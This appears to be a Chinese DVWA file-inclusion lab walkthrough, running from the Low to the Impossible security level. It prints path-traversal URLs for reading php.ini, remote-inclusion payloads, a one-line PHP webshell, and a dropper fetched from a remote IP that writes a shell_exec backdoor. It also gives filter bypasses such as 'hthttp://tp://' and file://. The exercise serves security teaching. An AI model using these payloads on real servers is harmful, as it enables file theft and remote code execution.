dvwa没有file1.php,文件包含漏洞-DVWA
一、進入DVWA測試系統
選擇左側File Inclusion(文件包含)菜單,內容頁顯示為:
解決方法:進入php.ini,將allow_url_include=Off修改為On即可。
二、實驗步驟:
2.1 File Inclusion(Low 級別)
a) 分析文件包含漏洞測試網頁
可以看到,文件包含網頁上的內容顯示:通過點擊file1.php或者file2.php或者file3.php文件,然后通過GET請求將選中的文件內容包含并顯示出來,顯示效果:如點擊file.php的效果圖
進一步分析:
觀察文件包含頁面的URL :http://www.dvwa.com/vulnerabilities/fi/?page=include.php,將page=include.php 修改為: page=xxx.php,然后訪問。
從上圖可以看出,由于動態GET請求包含了page = xxx.php這樣一個不存在的文件,php解釋器曝出了PHP文件包含函數include的Warnning信息,并且該信息暴露了文件的絕對路徑,因此在下一步中我們將進一步利用該漏洞
b) 構造URL暴露重要信息
i)獲取php.ini的信息
輸入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini
效果圖如下:
可以看到成功讀取了php.ini的重要配置信息,當然你也可以試一試讀取其他的文件信息,如請讀取系統下robots.txt的內容信息,從這個漏洞上可以看出能夠導致重要的敏感信息泄露。請嘗試探索其他重要的配置信息。
Robots.txt信息:
注意:a)步驟中曝出的路徑為:D:\PHP\wamp64\www\website\web\DVWA\vulnerabilities\fi\index.php on line?36
因此可以判斷:php.ini配置文件在wwww\website\web\DVWA目錄下,而我們知道Web網站一般部署到Apache 服務器的WWW 目錄下,因此可以通過從WWW文件夾開始算起:用..\來做跳轉,所以構造的路徑為:..\..\php.ini,可以認為第一個..\ 表示DVWA \,第二個..\表示fi\
ii)訪問遠程文件
php.ini設置:服務器如在php.ini中將allow_url_fopen與allow_url_include,設置為on 狀態即可以使用遠程文件,可以是ftp上的文件,也可是網路上其他能訪問到的文件。
php.ini設置方法: W 標識 ——> PHP ——>php.ini 通過搜索 allow_url_include變量然后修改其狀態,重啟W服務器即可。
a)遠程包含打印php版本信息的文件
將提前準備好的程序:
<?php ? phpinfo();?> 保存在1.tt文件中,并將該文件放到dvwa文件夾下,并測試http://www.dvwa.com/1.tt能夠正常讀取源代碼。(請截圖顯示)
然后在DVWA系統上,URL輸入為:http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/1.tt,看看效果。
b)遠程寫入木馬文件
將提前準備好的一句話木馬放到WAMP的www文件夾下,檢查下是否能夠通過URL訪問到,http://www.dvwa.com/muma1.php?cmd=dir
然后將File Inclusion上的URL重新構造:
http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/muma1.php?cmd=dir
這個測試相當于是將已經上傳到該主機服務器上的muma1.php文件和該文件包含漏洞相結合進行的漏洞利用。
思考題:
(1)試想下假如沒有木馬文件在該服務器下,如何取控制呢?能否包含php程序,而這個程序正好執行的時候為寫入一句話木馬到服務器上?
答:遠程包含php文件
(2)請嘗試遠程包含讀取當前服務器版本信息的文件,并執行看效果?
emm,這是我拖了2個文件在老師的服務器上,自己做實驗可以拖到虛擬機上。
c)通過文件包含向服務器寫入一句話木馬文件
提前準備好遠程的寫一句話木馬程序:
$file1 = fopen("shell.php","w");
fputs($file1,'<?php echo shell_exec($_GET["cmd"]);?>');
?>
文件保存為echo.tt,先保證該文件能夠正常執行,上述代碼的意思是,在當前Web應用的路徑下創建文件名為shell.php的文件,文件內容為寫入:
現在構造File Inclusion的URL,輸入:
http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/echo.tt,看看效果
注意:文件后綴一定要是tt,這樣才能不在遠程機執行而且可以在受害機執行。
2.2 File Inclusion(Medium 級別)
a)測試是否具有文件包含漏洞
URL輸入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,請描述看到的情況并截圖
b)構造URL利用漏洞
i)獲取php.ini信息
URL輸入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini看看效果。
其實這里我們為什么成功,是因為源碼沒判斷這個"\"!
ii)遠程包含
http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/1.tt,看看效果
iii)看看源代碼(代碼審查下)
文件位置:安裝目錄\vulnerabilities\fi\source\medium.php
通過實驗以及源代碼可以看到地址欄上直接輸入../ 和 http 均會直接被replace為空,使得路徑出錯,致使無法達到繞過。那么如何構造URL繞過replace方法呢?
提示:是否可以使用絕對路徑:如包含的本地文件為:D:\wamp\www\DVWA-master\DVWA-master\php.ini;是否可以將包含的遠程連接修改為:hthttp://tp://127.0.0.1/…
絕對路徑:
遠程路徑:
2.3 File Inclusion(High 級別)
a)測試是否具有文件包含漏洞
URL輸入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,請描述看到的情況并截圖
從上圖結果可以看出,在高級別上是做了文件過濾的,那么我們看看源代碼:
文件位置:安裝路徑\vulnerabilities\fi\source\high.php
從代碼的判斷語句可以看到,包含的文件如果開頭不匹配file 和include.php 則會提示file not found。
現在好辦了,構造URL :http://www.dvwa.com/vulnerabilities/fi/?page=file://D:/PHP/wamp64/www/WEBSITE/web/DVWA/php.ini
有興趣的可以完成遠程訪問的內容(加油!)
2.4 File Inclusion(Impossible 級別)
查看源代碼:
可以看出,在高難度級別上做了包含文件的白名單校驗,那么針對這種情況,基本上是保障了文件包含的安全性,很難突破了。
總結
以上是生活随笔為你收集整理的dvwa没有file1.php,文件包含漏洞-DVWA的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 延时调用的时候要注意
- 下一篇: php服务器支付宝的pcm,php -